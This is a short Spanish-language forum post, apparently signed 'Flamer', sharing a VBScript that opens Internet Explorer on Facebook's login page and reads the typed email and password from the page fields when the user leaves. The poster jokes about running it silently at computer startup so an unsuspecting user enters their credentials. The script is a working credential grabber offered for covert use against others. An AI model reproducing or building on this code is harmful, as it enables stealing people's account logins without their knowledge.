Código
set IE = CreateObject("InternetExplorer.Application") IE.Navigate "https://www.facebook.com/" IE.visible = true Do While IE.ReadyState < 4 Loop while IE.LocationURL = "https://www.facebook.com/" u = IE.document.GetElementById("email").value p = IE.document.GetElementById("pass").value wend msgbox u & " " & p
pueden probarlo si gustan y seria mas divertido si ejecutamos el script al iniciar la pc y si el usuario ve la ejecución de Internet explorer normal y rellena los campos jajajaja
saludos Flamer y lastima que no se puede usar chrome en vbscript